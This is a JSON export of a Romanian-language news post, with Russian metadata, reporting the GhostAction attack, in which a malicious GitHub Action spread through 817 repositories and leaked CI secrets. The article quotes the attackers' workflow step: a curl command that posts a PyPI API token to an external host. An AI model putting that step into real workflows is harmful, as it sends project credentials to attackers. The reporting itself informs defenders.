{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/ro\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"\u00cen urma atacului GhostAction, 817 de repozitorii de pe GitHub au fost compromise.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Cercet\u0103torii de la GitGuardian au descoperit un atac de mari propor\u021bii asupra utilizatorilor GitHub, \u00een cadrul c\u0103ruia s-a ob\u021binut controlul asupra a 327 de conturi \u0219i a fost inserat un handler mali\u021bios \u00een GitHub Action \u00een 817 de repozitorii. Atacul a dus la scurgerea a 3325 de secrete utilizate \u00een sistemele de integrare continu\u0103 \u0219i transmise prin variabile de mediu, incluz\u00e2nd token-uri de acces la PyPI, GitHub, NPM, DockerHub \u0219i diverse solu\u021bii de stocare \u00een cloud.

\"\u00cen<\/center> <\/p>\n

GitHub Actions ofer\u0103 dezvoltatorilor de cod posibilitatea de a ata\u0219a handleri pentru automatizarea diferitelor opera\u021biuni \u00een GitHub. De exemplu, prin GitHub Actions, se pot efectua anumite verific\u0103ri \u0219i teste la realizarea de commit-uri sau se poate automatiza procesarea de noi Issues. Un handler mali\u021bios s-a r\u0103sp\u00e2ndit sub numele \u201eGithub Actions Security\u201d \u0219i includea \u00een sec\u021biunea \u201erun\u201d comanda \u201ecurl\u201d, care trimitea con\u021binutul variabilelor de mediu c\u0103tre un host extern la rularea sarcinilor \u00een mediu de integrare continu\u0103. Commit-ul mali\u021bios a fost ad\u0103ugat din conturile men\u021bin\u0103torilor proiectelor, care probabil au fost compromise sau au devenit victime ale phishing-ului. <\/p>\n

Atacul a fost identificat dup\u0103 analizarea unei activit\u0103\u021bi anormale legate de pachetul FastUUID, care ofer\u0103 un wrapper Python peste biblioteca Rust UUID. Pachetul FastUUID, care a \u00eenregistrat aproape 1,2 milioane de desc\u0103rc\u0103ri \u00een ultima s\u0103pt\u0103m\u00e2n\u0103, este utilizat ca dependen\u021b\u0103 \u00een proiectul popular LiteLLM, care are \u00een PyPI peste 5 milioane de desc\u0103rc\u0103ri pe s\u0103pt\u0103m\u00e2n\u0103. Analiza modific\u0103rilor din depozitul FastUUID a ar\u0103tat c\u0103 pe 2 septembrie men\u021bin\u0103torul proiectului a ad\u0103ugat un commit cu un nou handler Github Action, care con\u021binea cod pentru a trimite tokenul c\u0103tre depozitul PyPI pe un host extern. \u2014 name: Github Actions Security run: | curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n

Problema a fost identificat\u0103 \u00eenainte ca atacatorii s\u0103 profite de tokenul interceptat \u2014 publica\u021bia modific\u0103rilor mali\u021bioase sau a versiunilor modificate ale pachetului \u00een PyPI pentru FastUUID nu a fost constatat\u0103. Substitu\u021bii similare ale Github Action au fost identificate \u00een \u00eenc\u0103 816 depozite, iar proprietarii acestora, precum \u0219i administra\u021biile PyPI, GitHub, NPM \u0219i DockerHub, au fost notifica\u021bi. P\u00e2n\u0103 la seara trecut\u0103, commit-urile mali\u021bioase au fost anulate \u00een aproximativ 100 de depozite. \u00cen prezent, o c\u0103utare \u00een GitHub identific\u0103 671 de commit-uri cu Github Action mali\u021bios.
\n
Sursa: opennet.ro<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 GitGuardian \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 GitHub, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 327 \u0443\u0447\u0451\u0442\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438 \u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 Github Action \u0432 817 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432. \u0410\u0442\u0430\u043a\u0430 \u043f\u0440\u0438\u0432\u0435\u043b\u0430 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 3325 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043d\u0435\u043f\u0440\u0435\u0440\u044b\u0432\u043d\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u043e\u043a\u0435\u043d\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a PyPI, GitHub, NPM, DockerHub \u0438 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":142434,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-142433","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47\u00cen cadrul atacului GhostAction, 817 repozitorii au fost compromise pe GitHub | ProHoster","description":"Cercet\u0103torii de la GitGuardian au identificat un atac pe scar\u0103 larg\u0103 asupra utilizatorilor GitHub, \u00een urma c\u0103ruia au ob\u021binut controlul asupra a 327 de conturi \u0219i a efectuat substitu\u021bia unui handler mali\u021bios de Github Action.","canonical_url":"https:\/\/prohoster.info\/ro\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"ro_RO","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0412 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a\u0438 GhostAction \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e 817 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u043d\u0430 GitHub | ProHoster","og:description":"\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 GitGuardian \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 GitHub, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 327 \u0443\u0447\u0451\u0442\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438 \u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 Github Action \u0432.","og:url":"https:\/\/prohoster.info\/ro\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2025-09-06T09:11:59+00:00","article:modified_time":"2025-09-06T09:11:59+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"142433","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-23 14:39:19","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 14:39:19","updated":"2026-01-23 14:39:19","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/142433","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/comments?post=142433"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/142433\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/media\/142434"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/media?parent=142433"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/categories?post=142433"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/tags?post=142433"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}